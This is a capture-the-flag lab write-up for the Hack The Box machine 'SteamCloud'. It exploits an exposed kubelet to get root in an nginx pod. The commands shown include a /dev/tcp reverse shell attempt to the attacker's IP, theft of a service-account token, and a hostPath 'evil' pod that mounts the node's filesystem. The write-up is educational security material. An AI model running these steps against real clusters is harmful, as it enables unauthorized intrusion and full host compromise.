Nmap
nmap -sC -sV -Pn 10.10.11.133 -oN ./nmap.txt
# Nmap 7.95 scan initiated Wed Jul 16 16:27:04 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.10.11.133
Nmap scan report for 10.10.11.133
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
8443/tcp open ssl/http Golang net/http server
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP SteamCloudAddress:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2025-07-15T06:21:25
|_Not valid after: 2028-07-15T06:21:25
|_http-title: Site doesn't have a title (application/json).
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: a0dd26e8-0ce0-4636-b3e2-29f4ee4f63bf
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: ab6ad61e-3124-47f8-a103-ec39d6d91770
| X-Kubernetes-Pf-Prioritylevel-Uid: 6becbcee-2e1f-4f30-b815-910434f23aae
| Date: Wed, 16 Jul 2025 06:32:28 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 6a0e76e8-99d2-4324-8669-e77089359d4c
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: ab6ad61e-3124-47f8-a103-ec39d6d91770
| X-Kubernetes-Pf-Prioritylevel-Uid: 6becbcee-2e1f-4f30-b815-910434f23aae
| Date: Wed, 16 Jul 2025 06:32:24 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 9d3d321e-ec6e-4f22-ab83-dcc61901c204
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: ab6ad61e-3124-47f8-a103-ec39d6d91770
| X-Kubernetes-Pf-Prioritylevel-Uid: 6becbcee-2e1f-4f30-b815-910434f23aae
| Date: Wed, 16 Jul 2025 06:32:26 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=7/16%Time=6877477B%P=aarch64-unknown-li
SF:nux-gnu%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2
SF:06a0e76e8-99d2-4324-8669-e77089359d4c\r\nCache-Control:\x20no-cache,\x2
SF:0private\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ab6ad61e-3124-47f8-a
SF:103-ec39d6d91770\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x206becbcee-2e1f
SF:-4f30-b815-910434f23aae\r\nDate:\x20Wed,\x2016\x20Jul\x202025\x2006:32:
SF:24\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVe
SF:rsion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"for
SF:bidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x2
SF:0\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%
SF:r(HTTPOptions,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x209d3d32
SF:1e-ec6e-4f22-ab83-dcc61901c204\r\nCache-Control:\x20no-cache,\x20privat
SF:e\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20no
SF:sniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ab6ad61e-3124-47f8-a103-ec3
SF:9d6d91770\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x206becbcee-2e1f-4f30-b
SF:815-910434f23aae\r\nDate:\x20Wed,\x2016\x20Jul\x202025\x2006:32:26\x20G
SF:MT\r\nContent-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\"
SF::\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:
SF:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\
SF:\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(F
SF:ourOhFourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20a0d
SF:d26e8-0ce0-4636-b3e2-29f4ee4f63bf\r\nCache-Control:\x20no-cache,\x20pri
SF:vate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x2
SF:0nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ab6ad61e-3124-47f8-a103-
SF:ec39d6d91770\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x206becbcee-2e1f-4f3
SF:0-b815-910434f23aae\r\nDate:\x20Wed,\x2016\x20Jul\x202025\x2006:32:28\x
SF:20GMT\r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersio
SF:n\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidd
SF:en:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\
SF:"/nice\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"det
SF:ails\":{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 16 16:33:25 2025 -- 1 IP address (1 host up) scanned in 381.84 seconds
Port 8443
The service on 8443 has a bunch of information about the TLS certificate, which gives a bunch of names:
minikube/organizationName=system:masters
minikubeCA
control-plane.minikube.internal
kubernetes.default.svc.cluster.local
kubernetes.default.svc
kubernetes.default
kubernetes
localhost
10.10.11.133
10.96.0.1
127.0.0.1
10.0.0.1
Those all seem Kubernetes-related
Minikube is:
minikube quickly sets up a local Kubernetes cluster on macOS, Linux, and Windows. We proudly focus on helping application developers and new Kubernetes users.
Kubernetes is:
A portable, extensible, open-source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. It has a large, rapidly growing ecosystem. Kubernetes services, support, and tools are widely available.
TCP 8443 is the default starting port for the API server in minikube. Visiting the service in Firefox returns an HTTP 403 with a JSON body:

The anonymous user can’t reach to /.
But we can use kubectl to interact with this service, but it just prompts for auth:
kubectl --server https://10.10.11.133:8443 get pod
Please enter Username: ^C
kubectl --server https://10.10.11.133:8443 get namespaces
Please enter Username: ^C
There is a tool similar to kubectl for managing kubelet, called kubeletctl . We can use it to list all pods on a node
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl pods -s 10.10.11.133
┌────────────────────────────────────────────────────────────────────────────────┐
│ Pods from Kubelet │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│ │ POD │ NAMESPACE │ CONTAINERS │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ kube-proxy-q7gcn │ kube-system │ kube-proxy │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ storage-provisioner │ kube-system │ storage-provisioner │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ coredns-78fcd69978-cjhx6 │ kube-system │ coredns │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ nginx │ default │ nginx │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ etcd-steamcloud │ kube-system │ etcd │
│ │ │ │ │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
The runningpods command gives a bunch of JSON about the running pods:
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl runningpods -s 10.10.11.133 | jq -c '.items[].metadata | [.name, .namespace]'
["storage-provisioner","kube-system"]
["kube-proxy-q7gcn","kube-system"]
["etcd-steamcloud","kube-system"]
["kube-controller-manager-steamcloud","kube-system"]
["kube-apiserver-steamcloud","kube-system"]
["kube-scheduler-steamcloud","kube-system"]
["nginx","default"]
["coredns-78fcd69978-cjhx6","kube-system"]
There’s only one nginx that’s not in the kube-system namespace.
Shell as root by "Nginx"
By accessing the kubelet service, I can also run commands on the container. I will use the exec command in kubeletctl and pass in the name of the Pod (nginx) and the name of the container (nginx):
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl -s 10.10.11.133 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)
But I want to make a reverse shell to our local machine, I did not get
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl -s 10.10.11.133 exec "/bin/bash -i >& /dev/tcp/10.10.14.17/443 0>&1" -p nginx -c nginx
bash: >: No such file or directory
command terminated with exit code 127
However, it did have bash
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl -s 10.10.11.133 exec "which bash" -p nginx -c nginx
/bin/bash
So I would try it more easily
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl -s 10.10.11.133 exec "/bin/bash" -p nginx -c nginx
root@nginx:/#
We can get the shell directly.
Privilege Escalation to pod Steamcloud
Now that we have successfully gained a shell in the Nginx pod, let’s see if we can get a token and credentials so we can create a service account with elevated privileges.
We can get something useful from /var/run/secrets/kubernetes.io/serviceaccount
root@nginx:/var/run/secrets/kubernetes.io/serviceaccount# ls -al
ls -al
total 4
drwxrwxrwt 3 root root 140 Jul 16 06:22 .
drwxr-xr-x 3 root root 4096 Jul 16 06:22 ..
drwxr-xr-x 2 root root 100 Jul 16 06:22 ..2025_07_16_06_22_02.533754616
lrwxrwxrwx 1 root root 31 Jul 16 06:22 ..data -> ..2025_07_16_06_22_02.533754616
lrwxrwxrwx 1 root root 13 Jul 16 06:22 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Jul 16 06:22 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Jul 16 06:22 token -> ..data/token
We can use these certificates to log into Kubectl and check what permissions we have. Save the certificate in a file called ca.crt and export the token as an environment variable.
ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImhOZ29PR0xVWGpYUmpSVmNnN0tWSU81T19Cd2Z3c1c3cTB3Z3AtcDVPVkEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzg0MTgyOTIyLCJpYXQiOjE3NTI2NDY5MjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjZlZDAyNGFjLTg5YzMtNDViOS05Mzk0LWIxMjU2Y2E4ZDIyZiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzNzJjZDFmLWUwNWMtNDJhNC1iNGQ3LTczMTY1MzljYmE5NyJ9LCJ3YXJuYWZ0ZXIiOjE3NTI2NTA1Mjl9LCJuYmYiOjE3NTI2NDY5MjIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.Q11E9x-gjZ8LSw24estAinmCtr-QzjCAvBBYjdpNIE21BeJoNHUjxnzUuaiZGwMVLUak1pO44i6ThJIA5Dz9C4i24rrXAmgVgHP3oTJ8x6hrwbTWYdlbnHOGOtqol4AOl7duSlkVroo591mGWKfdihQ97-yAf_NuQ_PKagGkodlYu3eHc3Aq704BM0t_e3ouFkWkbZxs_snIkIgwmB1Bh3WSNGB59SRCLQT9TgvvGmK_60sET7rtNxlVY2uEfI2JMRgkgiIyb9oI1XQPbNgrBg7M1YTz2Ilb51dYspFBTYvzJXV5T8z5ioat6l__gs_cey7T8UhfsLoWnYNNXCSogg
Let's check what pods can be access
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ export token="eyJhbGciOiJSUzI1NiIsImtpZCI6ImhOZ29PR0xVWGpYUmpSVmNnN0tWSU81T19Cd2Z3c1c3cTB3Z3AtcDVPVkEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzg0MTgyOTIyLCJpYXQiOjE3NTI2NDY5MjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjZlZDAyNGFjLTg5YzMtNDViOS05Mzk0LWIxMjU2Y2E4ZDIyZiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzNzJjZDFmLWUwNWMtNDJhNC1iNGQ3LTczMTY1MzljYmE5NyJ9LCJ3YXJuYWZ0ZXIiOjE3NTI2NTA1Mjl9LCJuYmYiOjE3NTI2NDY5MjIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.Q11E9x-gjZ8LSw24estAinmCtr-QzjCAvBBYjdpNIE21BeJoNHUjxnzUuaiZGwMVLUak1pO44i6ThJIA5Dz9C4i24rrXAmgVgHP3oTJ8x6hrwbTWYdlbnHOGOtqol4AOl7duSlkVroo591mGWKfdihQ97-yAf_NuQ_PKagGkodlYu3eHc3Aq704BM0t_e3ouFkWkbZxs_snIkIgwmB1Bh3WSNGB59SRCLQT9TgvvGmK_60sET7rtNxlVY2uEfI2JMRgkgiIyb9oI1XQPbNgrBg7M1YTz2Ilb51dYspFBTYvzJXV5T8z5ioat6l__gs_cey7T8UhfsLoWnYNNXCSogg"
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 get pods
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 43m
The default service account appears to have some basic rights, so let's list them all using auth can-i.
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get create list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
We can get, list, and create Pods in the default namespace. To create a Pod, we can use the Nginx image. Let's create a Nefarious Pod. Save the following YAML configuration in a file called evil.yaml.
apiVersion: v1
kind: Pod
metadata:
name: wither-pod
namespace: default
spec:
containers:
- name: wither-pod
image: nginx:1.14.2
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
Then we can use kubectl apply to start the pod
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ kubectl apply -f evil.yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
pod/wither-pod created
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ kubectl get pod --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 49m
wither-pod 1/1 Running 0 39s
Our Pod is good, up and running. Now we can move on to getting the user and root flags.
┌──(wither㉿localhost)-[~/Templates/htb-labs/SteamCloud]
└─$ /opt/kubeletctl -s 10.10.11.133 exec "/bin/bash" -p wither-pod -c wither-pod
root@steamcloud:/# cd /mnt
cd /mnt
root@steamcloud:/mnt# ls
ls
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
root@steamcloud:/mnt# cd root
cd root
root@steamcloud:/mnt/root# ls
ls
root.txt
Description
This machine mainly examines the use and enumeration of Kubelet services. At the same time, the use can create and generate a malicious Pod, and then use Kubectl to run commands in the Pod to read the root flag.